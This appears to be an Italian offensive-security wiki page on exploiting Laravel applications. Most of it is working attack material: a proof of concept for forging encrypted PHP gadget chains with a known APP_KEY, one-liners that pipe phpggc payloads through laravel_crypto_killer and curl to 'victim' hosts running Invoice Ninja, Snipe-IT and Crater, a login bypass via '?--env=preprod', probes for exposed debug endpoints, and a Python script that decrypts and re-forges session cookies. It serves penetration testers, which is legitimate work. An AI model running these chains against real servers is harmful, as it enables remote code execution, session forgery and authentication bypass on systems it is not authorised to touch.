Laravel

Reading time: 10 minutes

Laravel SQLInjection

Leggi informazioni a riguardo qui: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Dettagli interni della crittografia (Laravel \u003e=5.6)

Laravel usa AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (Illuminate\\Encryption\\Encrypter). Il testo cifrato grezzo che viene infine inviato al client è Base64 di un oggetto JSON come:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) esegue serialize() sul plaintext per impostazione predefinita, mentre decrypt($payload, $unserialize=true) esegue automaticamente unserialize() sul valore decriptato. Pertanto any attacker che conosce il secret di 32 byte APP_KEY può craftare un encrypted PHP serialized object e ottenere RCE via magic methods (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inietta la stringa prodotta in qualsiasi sink vulnerabile decrypt() (route param, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automatizza l'intero processo e aggiunge una comoda modalità bruteforce:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Lo script supporta in modo trasparente sia i payloads CBC che GCM e rigenera il campo HMAC/tag.

Pattern vulnerabili nel mondo reale

Il flusso di sfruttamento è sempre:

1. Ottenere o determinare tramite brute-force la APP_KEY a 32 byte.
2. Costruire una gadget chain con PHPGGC (per esempio Laravel/RCE13, Laravel/RCE9 o Laravel/RCE15).
3. Cifrare il gadget serializzato con laravel_crypto_killer.py e la APP_KEY recuperata.
4. Consegnare il ciphertext allo sink vulnerabile decrypt() (route parameter, cookie, session …) per innescare RCE.

Di seguito sono riportati comandi one-liner concisi che mostrano l'intero percorso d'attacco per ciascun CVE reale menzionato sopra:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Scoperta massiva di APP_KEY via cookie brute-force

Poiché ogni risposta fresca di Laravel imposta almeno un cookie cifrato (XSRF-TOKEN e di solito laravel_session), i scanner pubblici di Internet (Shodan, Censys, …) leak milioni di ciphertext che possono essere attaccati offline.

Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):

• Dataset Luglio 2024 » 580 k tokens, 3.99 % chiavi craccate (≈23 k)
• Dataset Maggio 2025 » 625 k tokens, 3.56 % chiavi craccate

• 1 000 server ancora vulnerabili alla legacy CVE-2018-15133 perché i token contengono direttamente dati serializzati.

• Ampio riutilizzo di chiavi – le Top-10 APP_KEY sono default hard-coded fornite con template commerciali Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Lo strumento Go privato nounours spinge il throughput di bruteforce AES-CBC/GCM a ~1.5 billion tries/s, riducendo il cracking dell'intero dataset a <2 minuti.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Quando PHP ha register_argc_argv=On (tipico su molte distro), PHP espone un array argv per le richieste HTTP derivato dalla query string. Versioni recenti di Laravel parseavano questi argomenti “CLI-like” e onoravano --env=<value> a runtime. Questo permette di cambiare l'environment del framework per la richiesta HTTP corrente semplicemente aggiungendolo a qualsiasi URL:

• Verifica rapida:

• Visita https://target/?--env=local o qualsiasi stringa e cerca cambiamenti dipendenti dall'environment (debug banners, footer, errori verbose). Se la stringa viene riflessa, l'override funziona.

• Esempio di impatto (business logic che si affida a un env speciale):

• Se l'app contiene rami come if (app()->environment('preprod')) { /* bypass auth */ }, puoi autenticarti senza credenziali valide inviando il POST di login a:

• POST /login?--env=preprod

• Note:

• Funziona per richiesta, senza persistenza.

• Richiede register_argc_argv=On e una versione vulnerabile di Laravel che legge argv per HTTP.

• Primitiva utile per far emergere errori più verbosi in env “debug” o per attivare percorsi di codice protetti dall'environment.

• Mitigazioni:

• Disabilitare register_argc_argv per PHP-FPM/Apache.

• Aggiornare Laravel per ignorare argv nelle richieste HTTP e rimuovere qualsiasi assunzione di fiducia legata a app()->environment() nelle route di produzione.

Flusso minimale di exploitation (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Trucchi di Laravel

Modalità di debugging

Se Laravel è in modalità di debugging potrai accedere al code e ai dati sensibili.
Per esempio http://127.0.0.1:8000/profiles:

Questo è solitamente necessario per sfruttare altre Laravel RCE CVEs.

Fingerprinting & endpoint di sviluppo esposti

Controlli rapidi per identificare uno stack Laravel e strumenti di sviluppo pericolosi esposti in produzione:

• /_ignition/health-check → Ignition presente (debug tool usato da CVE-2021-3129). Se raggiungibile senza autenticazione, l'app potrebbe essere in debug o mal configurata.
• /_debugbar → asset di Laravel Debugbar; spesso indica modalità di debug.
• /telescope → Laravel Telescope (dev monitor). Se pubblico, aspettati ampia divulgazione di informazioni e possibili azioni.
• /horizon → Queue dashboard; divulgazione della versione e talvolta azioni protette da CSRF.
• X-Powered-By, cookie XSRF-TOKEN e laravel_session, e le pagine di errore Blade aiutano anche nel fingerprinting.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel salva l'APP che usa per cifrare i cookie e altre credenziali in un file chiamato .env che può essere accessibile tramite un path traversal: /../.env

Laravel mostrerà anche queste informazioni nella pagina di debug (che appare quando Laravel riscontra un errore e la modalità debug è attivata).

Usando il segreto APP_KEY di Laravel puoi decifrare e ri-crittografare i cookie:

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Qui puoi trovare informazioni sulla vulnerabilità di deserialization: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Puoi testarla e sfruttarla usando https://github.com/kozmic/laravel-poc-CVE-2018-15133
Oppure puoi anche sfruttarla con metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Un'altra deserialization: https://github.com/ambionics/laravel-exploits

Riferimenti

• Laravel: APP_KEY leakage analysis (EN)
• Laravel : analyse de fuite d’APP_KEY (FR)
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)
• CVE-2024-52301 advisory – Laravel argv env detection
• CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
• 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)